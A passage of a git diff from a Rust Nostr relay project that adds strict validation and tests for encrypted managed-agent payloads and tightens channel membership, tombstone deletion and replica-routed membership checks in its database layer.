MAX_ENV_VARS + || config.env_vars.iter().any(|(k, v)| { + k.is_empty() || k.len() > MAX_ENV_KEY_BYTES || v.len() > MAX_ENV_VALUE_BYTES + }) + { + return Err(Error::InvalidPayload("env_vars exceed limits".into())); + } + validate_value_size("backend", &config.backend)?; + if let Some(mesh) = &config.relay_mesh { + validate_value_size("relay_mesh", mesh)?; + } + Ok(()) +} + +fn validate_auth_tag(auth_tag: &str, expected_owner: &str, agent: &PublicKey) -> Result<(), Error> { + if auth_tag.is_empty() || auth_tag.len() > 4096 { + return Err(Error::InvalidPayload("invalid auth_tag".into())); + } + let parts: Vec = serde_json::from_str(auth_tag) + .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?; + if parts.len() != 4 || parts[0] != "auth" || parts[1] != expected_owner || !parts[2].is_empty() + { + return Err(Error::InvalidPayload( + "auth_tag must be an unconditional attestation for this owner".into(), + )); + } + parse_canonical_pubkey("auth_tag owner", &parts[1]) + .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?; + if agent.to_hex() == expected_owner { + return Err(Error::InvalidPayload( + "auth_tag must attest a distinct agent key".into(), + )); + } + if parts[3].len() != 128 + || !parts[3] + .bytes() + .all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase()) + { + return Err(Error::InvalidPayload("invalid auth_tag".into())); + } + let signature = Signature::from_str(&parts[3]) + .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?; + let preimage = format!("nostr:agent-auth:{}:", agent.to_hex()); + let digest = Sha256::digest(preimage.as_bytes()); + let message = Message::from_digest(digest.into()); + let owner = PublicKey::from_hex(&parts[1]) + .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?; + let owner = owner + .xonly() + .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?; + SECP256K1 + .verify_schnorr(&signature, &message, &owner) + .map_err(|_| Error::InvalidPayload("invalid auth_tag signature".into())) +} + +fn parse_definition_coordinate( + coordinate: Option<&str>, + owner_pubkey: &str, +) -> Result { + let coordinate = coordinate.ok_or_else(|| { + Error::InvalidPayload("active payload missing definition_coordinate".into()) + })?; + let mut parts = coordinate.splitn(3, ':'); + let kind = parts.next(); + let owner = parts.next(); + let d = parts.next(); + if kind != Some("30175") || owner != Some(owner_pubkey) || d.is_none_or(str::is_empty) { + return Err(Error::InvalidPayload( + "definition_coordinate must be 30175::".into(), + )); + } + Ok(d.unwrap().to_owned()) +} + +fn validate_binding( + label: &str, + expected_kind: u32, + owner_pubkey: &str, + expected_d: Option<&str>, + event_id: &str, + hash: &str, + recovery: &ProjectionRecoveryV1, +) -> Result<(), Error> { + parse_event_id(label, event_id).map_err(|e| Error::InvalidPayload(e.to_string()))?; + parse_lower_hex_32(&format!("{label}.content_sha256"), hash) + .map_err(|e| Error::InvalidPayload(e.to_string()))?; + if recovery.version != 1 { + return Err(Error::InvalidPayload(format!( + "unsupported {label} recovery version" + ))); + } + let event = &recovery.signed_event; + if !event.verify_id() || !event.verify_signature() { + return Err(Error::InvalidPayload(format!( + "invalid {label} recovery event" + ))); + } + if event.id.to_hex() != event_id + || event.kind.as_u16() as u32 != expected_kind + || event.pubkey.to_hex() != owner_pubkey + || content_sha256(event.content.as_bytes()) != hash + { + return Err(Error::InvalidPayload(format!( + "{label} recovery does not match binding" + ))); + } + let d_tags: Vec<_> = event + .tags + .iter() + .filter_map(|tag| { + let parts = tag.as_slice(); + (parts.first().map(String::as_str) == Some("d")).then_some(parts) + }) + .collect(); + if d_tags.len() != 1 || d_tags[0].len() != 2 || d_tags[0][1].is_empty() { + return Err(Error::InvalidPayload(format!( + "{label} recovery must have exactly one non-empty d tag" + ))); + } + if expected_d.is_some_and(|expected| d_tags[0][1] != expected) { + return Err(Error::InvalidPayload(format!( + "{label} recovery has wrong coordinate" + ))); + } + validate_value_size( + label, + &serde_json::to_value(recovery) + .map_err(|_| Error::InvalidPayload(format!("invalid {label}")))?, + ) +} + +fn validate_generation_and_prev(generation: u64, previous: Option<&str>) -> Result<(), Error> { + if generation == 0 || generation > MAX_SAFE_GENERATION { + return Err(Error::InvalidPayload( + "generation must be a positive safe integer".into(), + )); + } + if (generation == 1) != previous.is_none() { + return Err(Error::InvalidPayload( + "previous_event_id must be absent exactly at generation 1".into(), + )); + } + if let Some(value) = previous { + parse_event_id("previous_event_id", value) + .map_err(|e| Error::InvalidPayload(e.to_string()))?; + } + Ok(()) +} + +fn validate_value_size(label: &str, value: &Value) -> Result<(), Error> { + let len = serde_json::to_vec(value) + .map_err(|_| Error::InvalidPayload(format!("invalid {label}")))? + .len(); + if len > MAX_VALUE_BYTES { + return Err(Error::InvalidPayload(format!("{label} exceeds size limit"))); + } + Ok(()) +} + +fn parse_rfc3339(label: &str, value: &str) -> Result<(), Error> { + chrono::DateTime::parse_from_rfc3339(value) + .map(|_| ()) + .map_err(|_| Error::InvalidPayload(format!("{label} must be RFC3339"))) +} + +fn parse_generation(value: &str) -> Result { + if value.is_empty() + || (value.len() > 1 && value.starts_with('0')) + || !value.bytes().all(|b| b.is_ascii_digit()) + { + return Err(Error::InvalidEnvelope("g must be canonical decimal".into())); + } + let generation = value + .parse::() + .map_err(|_| Error::InvalidEnvelope("invalid g tag".into()))?; + if generation == 0 || generation > MAX_SAFE_GENERATION { + return Err(Error::InvalidEnvelope( + "g must be a positive safe integer".into(), + )); + } + Ok(generation) +} + +fn parse_canonical_pubkey(label: &str, value: &str) -> Result { + parse_lower_hex_32(label, value)?; + let key = PublicKey::from_hex(value) + .map_err(|_| Error::InvalidEnvelope(format!("invalid {label}")))?; + key.xonly() + .map_err(|_| Error::InvalidEnvelope(format!("invalid {label} curve point")))?; + Ok(key) +} + +fn parse_event_id(label: &str, value: &str) -> Result { + parse_lower_hex_32(label, value)?; + EventId::from_hex(value).map_err(|_| Error::InvalidEnvelope(format!("invalid {label}"))) +} + +fn parse_lower_hex_32(label: &str, value: &str) -> Result<(), Error> { + if value.len() != 64 + || !value + .bytes() + .all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase()) + { + return Err(Error::InvalidEnvelope(format!( + "{label} must be 64 lowercase hex chars" + ))); + } + Ok(()) +} + +fn parse_tag(parts: [&str; N]) -> Result { + Tag::parse(parts).map_err(|_| Error::InvalidEnvelope("failed to build tag".into())) +} + +fn parse_strict_json(bytes: &[u8]) -> Result { + struct StrictValue; + impl<'de> DeserializeSeed<'de> for StrictValue { + type Value = Value; + fn deserialize>(self, d: D) -> Result { + d.deserialize_any(self) + } + } + impl<'de> Visitor<'de> for StrictValue { + type Value = Value; + fn expecting(&self, f: &mut fmt::Formatter) -> fmt::Result { + f.write_str("valid JSON with unique object keys") + } + fn visit_bool(self, v: bool) -> Result { + Ok(Value::Bool(v)) + } + fn visit_i64(self, v: i64) -> Result { + Ok(Value::Number(v.into())) + } + fn visit_u64(self, v: u64) -> Result { + Ok(Value::Number(v.into())) + } + fn visit_f64(self, v: f64) -> Result { + serde_json::Number::from_f64(v) + .map(Value::Number) + .ok_or_else(|| E::custom("non-finite float")) + } + fn visit_str(self, v: &str) -> Result { + Ok(Value::String(v.to_owned())) + } + fn visit_string(self, v: String) -> Result { + Ok(Value::String(v)) + } + fn visit_unit(self) -> Result { + Ok(Value::Null) + } + fn visit_none(self) -> Result { + Ok(Value::Null) + } + fn visit_some>(self, d: D) -> Result { + d.deserialize_any(self) + } + fn visit_seq>(self, mut seq: A) -> Result { + let mut out = Vec::new(); + while let Some(value) = seq.next_element_seed(StrictValue)? { + out.push(value); + } + Ok(Value::Array(out)) + } + fn visit_map>(self, mut map: A) -> Result { + let mut seen = HashSet::new(); + let mut out = serde_json::Map::new(); + while let Some(key) = map.next_key::()? { + if !seen.insert(key.clone()) { + return Err(serde::de::Error::custom(format!("duplicate key: {key}"))); + } + out.insert(key, map.next_value_seed(StrictValue)?); + } + Ok(Value::Object(out)) + } + } + let mut deserializer = serde_json::Deserializer::from_slice(bytes); + let value = StrictValue + .deserialize(&mut deserializer) + .map_err(|e| Error::InvalidPayload(e.to_string()))?; + deserializer + .end() + .map_err(|e| Error::InvalidPayload(e.to_string()))?; + Ok(value) +} + +#[cfg(test)] +mod tests { + use super::*; + use nostr::ToBech32; + + fn auth_tag(owner: &Keys, agent: &Keys) -> String { + let preimage = format!("nostr:agent-auth:{}:", agent.public_key().to_hex()); + let digest = Sha256::digest(preimage.as_bytes()); + let signature = owner.sign_schnorr(&Message::from_digest(digest.into())); + serde_json::json!([ + "auth", + owner.public_key().to_hex(), + "", + signature.to_string() + ]) + .to_string() + } + + fn payload(owner: &Keys, agent: &Keys) -> Payload { + let definition_event = EventBuilder::new(Kind::Custom(KIND_PERSONA as u16), "definition") + .tags(vec![Tag::parse(["d", "test-agent"]).unwrap()]) + .custom_created_at(nostr::Timestamp::from(1_785_780_000)) + .sign_with_keys(owner) + .unwrap(); + let instance_event = EventBuilder::new(Kind::Custom(KIND_MANAGED_AGENT as u16), "instance") + .tags(vec![Tag::parse([ + "d", + agent.public_key().to_hex().as_str(), + ]) + .unwrap()]) + .custom_created_at(nostr::Timestamp::from(1_785_780_000)) + .sign_with_keys(owner) + .unwrap(); + Payload { + format: FORMAT.into(), + version: VERSION, + agent_pubkey: agent.public_key().to_hex(), + owner_pubkey: owner.public_key().to_hex(), + generation: 1, + previous_event_id: None, + state: State::Active, + updated_at: "2026-08-03T18:00:00Z".into(), + active: Some(ActivePayload { + definition: DefinitionBinding { + revision: 1, + event_id: definition_event.id.to_hex(), + content_sha256: content_sha256(definition_event.content.as_bytes()), + recovery: ProjectionRecoveryV1 { + version: 1, + signed_event: definition_event, + }, + }, + instance_projection: InstanceBinding { + event_id: instance_event.id.to_hex(), + content_sha256: content_sha256(instance_event.content.as_bytes()), + recovery: ProjectionRecoveryV1 { + version: 1, + signed_event: instance_event, + }, + }, + identity: PrivateIdentity { + private_key_nsec: agent.secret_key().to_bech32().unwrap(), + auth_tag: None, + }, + config: PrivateConfig { + definition_coordinate: Some(format!( + "30175:{}:test-agent", + owner.public_key().to_hex() + )), + relay_url: "wss://relay.example".into(), + agent_command_override: None, + agent_args: vec![], + idle_timeout_seconds: Some(300), + max_turn_duration_seconds: None, + env_vars: BTreeMap::from([("SECRET".into(), "not-public".into())]), + backend: serde_json::json!({"type": "local"}), + backend_agent_id: None, + team_id: None, + persona_name_in_team: None, + relay_mesh: None, + }, + }), + deleted_at: None, + extensions: BTreeMap::new(), + } + } + + #[test] + fn owner_self_round_trip_binds_outer_and_inner() { + let owner = Keys::generate(); + let agent = Keys::generate(); + let expected = payload(&owner, &agent); + let event = build_event(&owner, &expected, 1_785_780_000).unwrap(); + let (envelope, actual) = validate_and_decrypt(&event, &owner).unwrap(); + assert_eq!(actual, expected); + assert_eq!(envelope.agent_pubkey, agent.public_key()); + assert_eq!(envelope.owner_pubkey, owner.public_key()); + assert_eq!(envelope.generation, 1); + assert_eq!(envelope.state, State::Active); + } + + #[test] + fn debug_output_redacts_private_material() { + let owner = Keys::generate(); + let agent = Keys::generate(); + let mut candidate = payload(&owner, &agent); + let private_key_nsec = candidate + .active + .as_ref() + .unwrap() + .identity + .private_key_nsec + .clone(); + let active = candidate.active.as_mut().unwrap(); + active.identity.auth_tag = Some("secret-auth-tag".into()); + active.config.backend = serde_json::json!({"token": "secret-backend-token"}); + + let debug = format!("{candidate:?}"); + assert!(debug.contains("")); + assert!(!debug.contains(&private_key_nsec)); + assert!(!debug.contains("secret-auth-tag")); + assert!(!debug.contains("not-public")); + assert!(!debug.contains("secret-backend-token")); + } + + #[test] + fn wrong_owner_and_tampering_fail_closed() { + let owner = Keys::generate(); + let event = + build_event(&owner, &payload(&owner, &Keys::generate()), 1_785_780_000).unwrap(); + let stranger = Keys::generate(); + assert!(matches!( + validate_and_decrypt(&event, &stranger), + Err(Error::InvalidEnvelope(_)) + )); + + let mut tampered = event; + tampered.content.push('A'); + assert!(matches!( + validate_and_decrypt(&tampered, &owner), + Err(Error::InvalidEnvelope(_)) + )); + } + + #[test] + fn duplicate_and_unknown_json_fields_are_rejected() { + let duplicate = br#"{"format":"a","format":"b"}"#; + assert!(matches!( + parse_strict_json(duplicate), + Err(Error::InvalidPayload(message)) if message.contains("duplicate key") + )); + + let owner = Keys::generate(); + let agent = Keys::generate(); + let mut value = serde_json::to_value(payload(&owner, &agent)).unwrap(); + value + .as_object_mut() + .unwrap() + .insert("surprise".into(), Value::Bool(true)); + let err = serde_json::from_value::(value).unwrap_err(); + assert!(err.to_string().contains("unknown field")); + } + + #[test] + fn auth_tag_must_be_unconditional_and_bound_to_owner_and_agent() { + let owner = Keys::generate(); + let agent = Keys::generate(); + let mut candidate = payload(&owner, &agent); + candidate.active.as_mut().unwrap().identity.auth_tag = Some(auth_tag(&owner, &agent)); + validate_payload(&candidate).unwrap(); + + candidate.active.as_mut().unwrap().identity.auth_tag = + Some(auth_tag(&Keys::generate(), &agent)); + assert!(validate_payload(&candidate).is_err()); + + candidate.active.as_mut().unwrap().identity.auth_tag = + Some(auth_tag(&owner, &Keys::generate())); + assert!(validate_payload(&candidate).is_err()); + + let mut self_attested = payload(&owner, &owner); + self_attested.active.as_mut().unwrap().identity.auth_tag = Some(auth_tag(&owner, &owner)); + assert!(matches!( + validate_payload(&self_attested), + Err(Error::InvalidPayload(message)) if message.contains("distinct agent key") + )); + + let valid = auth_tag(&owner, &agent); + let mut parts: Vec = serde_json::from_str(&valid).unwrap(); + parts[2] = "kind=9".into(); + candidate.active.as_mut().unwrap().identity.auth_tag = + Some(serde_json::to_string(&parts).unwrap()); + assert!(validate_payload(&candidate).is_err()); + } + + #[test] + fn active_identity_must_derive_coordinate() { + let owner = Keys::generate(); + let mut candidate = payload(&owner, &Keys::generate()); + candidate.active.as_mut().unwrap().identity.private_key_nsec = + Keys::generate().secret_key().to_bech32().unwrap(); + assert!(matches!( + validate_payload(&candidate), + Err(Error::InvalidPayload(message)) if message.contains("does not derive") + )); + } + + #[test] + fn tombstone_requires_successor_shape() { + let owner = Keys::generate(); + let agent = Keys::generate(); + let mut deleted = payload(&owner, &agent); + deleted.generation = 2; + deleted.previous_event_id = Some("33".repeat(32)); + deleted.state = State::Deleted; + deleted.active = None; + deleted.deleted_at = Some("2026-08-03T18:01:00Z".into()); + validate_payload(&deleted).unwrap(); + + deleted.previous_event_id = None; + assert!(validate_payload(&deleted).is_err()); + } + + #[test] + fn outer_tag_grammar_rejects_duplicates_and_noncanonical_generation() { + let owner = Keys::generate(); + let agent = Keys::generate(); + let body = payload(&owner, &agent); + let ciphertext = nip44::encrypt( + owner.secret_key(), + &owner.public_key(), + serde_json::to_string(&body).unwrap(), + Version::V2, + ) + .unwrap(); + let event = EventBuilder::new(Kind::Custom(KIND_PRIVATE_MANAGED_AGENT as u16), ciphertext) + .tags(vec![ + Tag::parse(["d", agent.public_key().to_hex().as_str()]).unwrap(), + Tag::parse(["g", "01"]).unwrap(), + Tag::parse(["state", "active"]).unwrap(), + ]) + .sign_with_keys(&owner) + .unwrap(); + assert!(matches!( + validate_envelope(&event, &owner.public_key()), + Err(Error::InvalidEnvelope(message)) if message.contains("canonical decimal") + )); + } + + #[test] + fn projection_recovery_must_match_binding_and_coordinate() { + let owner = Keys::generate(); + let agent = Keys::generate(); + let mut candidate = payload(&owner, &agent); + let active = candidate.active.as_mut().unwrap(); + active.instance_projection.content_sha256 = content_sha256(b"wrong"); + assert!(matches!( + validate_payload(&candidate), + Err(Error::InvalidPayload(message)) if message.contains("does not match binding") + )); + + let mut candidate = payload(&owner, &agent); + candidate + .active + .as_mut() + .unwrap() + .config + .definition_coordinate = + Some(format!("30175:{}:wrong-slug", owner.public_key().to_hex())); + assert!(matches!( + validate_payload(&candidate), + Err(Error::InvalidPayload(message)) if message.contains("wrong coordinate") + )); + let mut candidate = payload(&owner, &agent); + candidate + .active + .as_mut() + .unwrap() + .definition + .recovery + .version = 2; + assert!(matches!( + validate_payload(&candidate), + Err(Error::InvalidPayload(message)) if message.contains("unsupported definition recovery version") + )); + + let mut candidate = payload(&owner, &agent); + candidate + .active + .as_mut() + .unwrap() + .definition + .recovery + .signed_event + .content + .push('!'); + assert!(matches!( + validate_payload(&candidate), + Err(Error::InvalidPayload(message)) if message.contains("invalid definition recovery event") + )); + + let mut candidate = payload(&owner, &agent); + let wrong_kind = EventBuilder::new(Kind::Custom(KIND_MANAGED_AGENT as u16), "definition") + .tags(vec![Tag::parse(["d", "test-agent"]).unwrap()]) + .sign_with_keys(&owner) + .unwrap(); + let definition = &mut candidate.active.as_mut().unwrap().definition; + definition.event_id = wrong_kind.id.to_hex(); + definition.content_sha256 = content_sha256(wrong_kind.content.as_bytes()); + definition.recovery.signed_event = wrong_kind; + assert!(matches!( + validate_payload(&candidate), + Err(Error::InvalidPayload(message)) if message.contains("does not match binding") + )); + + let mut candidate = payload(&owner, &agent); + let missing_d = EventBuilder::new(Kind::Custom(KIND_PERSONA as u16), "definition") + .sign_with_keys(&owner) + .unwrap(); + let definition = &mut candidate.active.as_mut().unwrap().definition; + definition.event_id = missing_d.id.to_hex(); + definition.content_sha256 = content_sha256(missing_d.content.as_bytes()); + definition.recovery.signed_event = missing_d; + assert!(matches!( + validate_payload(&candidate), + Err(Error::InvalidPayload(message)) if message.contains("exactly one non-empty d tag") + )); + } + + #[test] + fn projection_hash_fixture_is_stable() { + assert_eq!( + content_sha256(b"buzz-private-managed-agent-v1"), + "c3ca1603249c95343fc1766ba58d075d6bdf0e57b375bef38738729b2022cc80" + ); + } +} diff --git a/crates/buzz-db/src/channel.rs b/crates/buzz-db/src/channel.rs index 5508c95cad..9d15fccfc8 100644 --- a/crates/buzz-db/src/channel.rs +++ b/crates/buzz-db/src/channel.rs @@ -371,7 +371,9 @@ async fn acquire_channel_membership_lock( /// Role enforcement: /// - Open channels: `invited_by` is optional; role is forced to `Member` regardless of /// what the caller passes — callers cannot self-assign elevated roles. -/// - Private channels: requires an `invited_by` who is an active owner/admin. +/// - Private channels: requires an `invited_by` who is an active owner/admin, the channel +/// creator bootstrapping their own first membership, or the target adding themselves +/// (idempotent re-add — an active member's *role* still cannot change this way). /// - Elevated roles (`Owner`, `Admin`) may only be granted by an existing owner/admin, /// even on open channels. /// @@ -419,10 +421,14 @@ pub async fn add_member( DbError::InvalidData(format!("invalid role in database: {inviter_role_str}")) })?; - // Any member can invite others, but only owners/admins may grant elevated roles. - if role.is_elevated() && !inviter_role.is_elevated() { + // Only owners/admins may extend private-channel access to another + // identity. `inviter == pubkey` keeps a member's own idempotent + // re-add working; it is not a role-escalation hole, because the + // active-role-change guard below still rejects a self-targeted + // promotion from any non-elevated caller. + if !inviter_role.is_elevated() && inviter != pubkey { return Err(DbError::AccessDenied( - "only owners/admins may grant elevated roles".to_string(), + "only owners/admins may add private-channel members".to_string(), )); } } diff --git a/crates/buzz-db/src/event.rs b/crates/buzz-db/src/event.rs index 6c84950a2c..e1b45aa3a1 100644 --- a/crates/buzz-db/src/event.rs +++ b/crates/buzz-db/src/event.rs @@ -789,7 +789,8 @@ pub async fn soft_delete_event( } /// Soft-delete the live row for an addressable coordinate -/// `(kind, pubkey, d_tag)` — the NIP-33 replacement key. +/// `(kind, pubkey, d_tag)` — the NIP-33 replacement key — provided it is not +/// newer than the deletion request. /// /// Used by `handle_a_tag_deletion` to honour NIP-09 a-tag deletions for any /// parameterized-replaceable kind. The WHERE clause mirrors @@ -797,23 +798,45 @@ pub async fn soft_delete_event( /// `channel_id` is intentionally NOT in the key (NIP-33 replacement is global /// per the spec — `channel_id` is stored for query scoping, not identity). /// +/// `deletion_created_at_secs` is the deletion event's own `created_at`. NIP-09 +/// scopes an `a`-tag deletion to versions at or before that instant, so a +/// delayed or replayed tombstone signed between two versions must not erase the +/// newer replacement. `events.created_at` is immutable per row, so the predicate +/// guarantees a tombstone can never erase a version newer than itself — the UPDATE +/// re-evaluates its WHERE clause after any lock wait, so a replacement that races +/// the deletion and lands with a later `created_at` is always spared. +/// +/// This does NOT guarantee deletion completeness when a same-coordinate +/// replacement races the deletion: the deletion may evaluate its predicate before +/// the replacement arrives, miss the incoming head, and return `Ok(false)`. That +/// outcome is state-identical to the deletion having arrived first (old head +/// gone, new head present), which is a valid Nostr ordering — Nostr never fixes +/// the order of concurrent writes from different signers, and even same-signer +/// ordering is advisory. The return value feeds only a debug log, not a +/// correctness gate. +/// /// Returns `Ok(true)` if a row was deleted, `Ok(false)` if no live row matched -/// (already deleted, or never existed). +/// (already deleted, never existed, or strictly newer than the deletion). pub async fn soft_delete_by_coordinate( pool: &PgPool, community_id: CommunityId, kind: i32, pubkey: &[u8], d_tag: &str, + deletion_created_at_secs: i64, ) -> Result { + let deletion_created_at = DateTime::from_timestamp(deletion_created_at_secs, 0) + .ok_or(DbError::InvalidTimestamp(deletion_created_at_secs))?; let result = sqlx::query( "UPDATE events SET deleted_at = NOW() \ - WHERE community_id = $1 AND kind = $2 AND pubkey = $3 AND d_tag = $4 AND deleted_at IS NULL", + WHERE community_id = $1 AND kind = $2 AND pubkey = $3 AND d_tag = $4 AND deleted_at IS NULL \ + AND created_at <= $5", ) .bind(community_id.as_uuid()) .bind(kind) .bind(pubkey) .bind(d_tag) + .bind(deletion_created_at) .execute(pool) .await?; @@ -1518,7 +1541,7 @@ mod tests { use super::*; use nostr::{EventBuilder, Keys, Kind, Tag}; - const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; + const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; // sadscan:disable np.postgres.1 async fn setup_pool() -> PgPool { let database_url = std::env::var("BUZZ_TEST_DATABASE_URL") @@ -1920,6 +1943,42 @@ mod tests { .expect("sign reaction event") } + #[tokio::test] + #[ignore = "requires Postgres"] + async fn reaction_single_tx_stores_wrapped_max_shortcode() { + let pool = setup_pool().await; + let community = CommunityId::from_uuid(make_test_community(&pool).await); + let target = make_text_event("long custom emoji target"); + insert_event(&pool, community, &target, None) + .await + .expect("insert target"); + + let actor = Keys::generate(); + let emoji = format!(":{}:", "a".repeat(64)); + let reaction = make_reaction_event(&actor, &target.id.to_hex(), &emoji); + let outcome = insert_reaction_event_with_thread_metadata( + &pool, + community, + &reaction, + None, + None, + target.id.as_bytes(), + &actor.public_key().to_bytes(), + &emoji, + ) + .await + .expect("store wrapped 64-character shortcode"); + + assert!(matches!( + outcome, + ReactionEventInsertOutcome::Inserted { + was_inserted: true, + .. + } + )); + assert_eq!(emoji.chars().count(), 66); + } + #[tokio::test] #[ignore = "requires Postgres"] async fn reaction_single_tx_duplicate_short_circuit_stores_no_event() { diff --git a/crates/buzz-db/src/lib.rs b/crates/buzz-db/src/lib.rs index 7b66d3fce0..8710e31a76 100644 --- a/crates/buzz-db/src/lib.rs +++ b/crates/buzz-db/src/lib.rs @@ -1815,16 +1815,27 @@ impl Db { event::soft_delete_event(&self.pool, community_id, event_id).await } - /// Soft-delete the live row for an addressable coordinate `(kind, pubkey, d_tag)`. - /// Used by NIP-09 a-tag deletion for parameterized-replaceable kinds. + /// Soft-delete the live row for an addressable coordinate `(kind, pubkey, d_tag)` + /// when it is not newer than the deletion request. + /// Used by NIP-09 a-tag deletion for parameterized-replaceable kinds; + /// `deletion_created_at_secs` is the deletion event's `created_at`. pub async fn soft_delete_by_coordinate( &self, community_id: CommunityId, kind: i32, pubkey: &[u8], d_tag: &str, + deletion_created_at_secs: i64, ) -> Result { - event::soft_delete_by_coordinate(&self.pool, community_id, kind, pubkey, d_tag).await + event::soft_delete_by_coordinate( + &self.pool, + community_id, + kind, + pubkey, + d_tag, + deletion_created_at_secs, + ) + .await } /// Atomically soft-delete an event and decrement thread reply counters. @@ -3990,8 +4001,33 @@ impl Db { } /// Returns `true` if `pubkey` (64-char hex) is a member of `community`. + /// + /// Replica-routed on the bounded arm — the one PERMISSION read routed by + /// explicit product decision (bounded-stale membership beats the 10s + /// cache it replaced). Admits and revokes may lag by at most the budget + /// `B`; everything else fails closed to the writer, exactly like + /// [`Db::query_events_routed_bounded`]. Not precedent for routing other + /// permission reads. pub async fn is_relay_member(&self, community: CommunityId, pubkey: &str) -> Result { - relay_members::is_relay_member(&self.pool, community, pubkey).await + let path = "relay_membership"; + match self.route_read(path, RoutePredicate::Bounded).await { + RouteDecision::Replica(mut tx, _entry, reason) => { + match relay_members::is_relay_member_on(&mut tx, community, pubkey).await { + Ok(is_member) => { + Self::record_route(path, "replica", reason); + Ok(is_member) + } + Err(e) => { + tracing::warn!(path, "replica read failed; re-running on writer: {e}"); + Self::record_route(path, "writer", "replica_error"); + relay_members::is_relay_member(&self.pool, community, pubkey).await + } + } + } + RouteDecision::Writer => { + relay_members::is_relay_member(&self.pool, community, pubkey).await + } + } } /// Returns the relay member record for `pubkey` in `community`, or `None` if not found. @@ -4087,6 +4123,12 @@ impl Db { relay_members::bootstrap_owner(&self.pool, community, owner_pubkey).await } + /// Returns `true` if any member of `community` holds the `admin` or + /// `owner` role. + pub async fn has_admin_or_owner(&self, community: CommunityId) -> Result { + relay_members::has_admin_or_owner(&self.pool, community).await + } + /// Atomically transfers ownership of `community` to `new_owner_pubkey`, /// demoting the previous owner(s) to `member`. Verifies /// `expected_owner_pubkey` matches the current owner inside the same @@ -5229,6 +5271,75 @@ mod tests { ); } + #[tokio::test] + #[ignore = "requires Postgres"] + async fn coordinate_delete_spares_head_newer_than_the_deletion() { + use nostr::{EventBuilder, Keys, Kind, Tag, Timestamp}; + + let db = setup_db().await; + let community = CommunityId::from_uuid(make_community(&db.pool).await); + let keys = Keys::generate(); + let kind = buzz_core::kind::KIND_PROJECT as i32; + let d_tag = "stale-tombstone-project"; + let pubkey = keys.public_key().to_bytes().to_vec(); + let base = Timestamp::now().as_secs(); + + let version = |content: &str, offset: u64| { + EventBuilder::new(Kind::Custom(buzz_core::kind::KIND_PROJECT as u16), content) + .tags(vec![Tag::parse(["d", d_tag]).expect("d tag")]) + .custom_created_at(Timestamp::from(base + offset)) + .sign_with_keys(&keys) + .expect("sign project version") + }; + + for (content, offset) in [("v1", 0), ("v2", 100)] { + assert!( + db.replace_parameterized_event(community, &version(content, offset), d_tag, None) + .await + .expect("store project version") + .1 + ); + } + + // Tombstone timestamped between V1 and V2: it authorizes deleting V1, + // never the newer head that replaced it. + let stale_deleted = db + .soft_delete_by_coordinate(community, kind, &pubkey, d_tag, (base + 50) as i64) + .await + .expect("stale coordinate delete"); + assert!( + !stale_deleted, + "a tombstone older than the live head must delete nothing" + ); + + let live_content: Option = sqlx::query_scalar( + "SELECT content FROM events \ + WHERE community_id=$1 AND kind=$2 AND pubkey=$3 AND d_tag=$4 AND deleted_at IS NULL", + ) + .bind(community.as_uuid()) + .bind(kind) + .bind(&pubkey) + .bind(d_tag) + .fetch_optional(&db.pool) + .await + .expect("read live head"); + assert_eq!( + live_content.as_deref(), + Some("v2"), + "the newer head must survive a stale tombstone" + ); + + // A tombstone at or after the head's own timestamp still deletes it. + let current_deleted = db + .soft_delete_by_coordinate(community, kind, &pubkey, d_tag, (base + 100) as i64) + .await + .expect("current coordinate delete"); + assert!( + current_deleted, + "a tombstone at the head's timestamp must delete it (NIP-09 is at-or-before)" + ); + } + #[tokio::test] #[ignore = "requires Postgres"] async fn duplicate_nip_rs_discriminator_tags_keep_legacy_retention() { @@ -7330,6 +7441,78 @@ mod tests { drop_scratch_db(&admin, writer, &wname).await; } + /// Routed relay-membership check: budget unset ⇒ writer; budget set + + /// fresh proved entry ⇒ replica (bounded arm); over-budget entry ⇒ + /// writer. Divergent membership rows prove which pool answered. + #[tokio::test] + #[ignore = "requires Postgres"] + async fn is_relay_member_is_bounded_routed_and_fails_closed() { + let admin = PgPool::connect(&admin_url().await) + .await + .expect("connect admin"); + let (writer, wname) = create_scratch_db(&admin, "mem_w").await; + let (replica, rname) = create_scratch_db(&admin, "mem_r").await; + + let community = Uuid::new_v4(); + for pool in [&writer, &replica] { + sqlx::query("INSERT INTO communities (id, host) VALUES ($1, $2)") + .bind(community) + .bind(format!("member-routing-{}.example", community.simple())) + .execute(pool) + .await + .expect("insert community"); + } + let cid = CommunityId::from_uuid(community); + let writer_only = "aa".repeat(32); + let replica_only = "bb".repeat(32); + relay_members::add_relay_member(&writer, cid, &writer_only, "member", None) + .await + .expect("seed writer member"); + relay_members::add_relay_member(&replica, cid, &replica_only, "member", None) + .await + .expect("seed replica member"); + + let mut db = Db::from_pools(writer.clone(), replica.clone()); + db.fence().force_open_for_tests(chrono::Utc::now()); + + // Budget unset ⇒ bounded arm disabled ⇒ writer. + assert!( + db.is_relay_member(cid, &writer_only) + .await + .expect("gate off"), + "budget unset must answer from the writer" + ); + assert!(!db.is_relay_member(cid, &replica_only).await.unwrap()); + + // Budget set + fresh entry ⇒ replica. + db.set_replica_read_max_age_for_tests(Some(std::time::Duration::from_secs(5))); + assert!( + db.is_relay_member(cid, &replica_only) + .await + .expect("gate on"), + "budget set must answer from the replica" + ); + assert!(!db.is_relay_member(cid, &writer_only).await.unwrap()); + + // Entry older than the budget ⇒ fail closed to the writer. Close + // first so no prior fresh entry can be the one proved (matches the + // count test; today `force_open_for_tests_at` also clears the ring). + db.fence().close(); + db.fence().force_open_for_tests_at( + chrono::Utc::now(), + std::time::Instant::now() - std::time::Duration::from_secs(10), + ); + assert!( + db.is_relay_member(cid, &writer_only) + .await + .expect("entry too old"), + "an over-budget entry must fail closed to the writer" + ); + + drop_scratch_db(&admin, replica, &rname).await; + drop_scratch_db(&admin, writer, &wname).await; + } + /// Community separation across every routed seam, verified on /// REPLICA-SERVED reads. /// diff --git a/crates/buzz-db/src/migration.rs b/crates/buzz-db/src/migration.rs index 6985916bba..37f54d0fa2 100644 --- a/crates/buzz-db/src/migration.rs +++ b/crates/buzz-db/src/migration.rs @@ 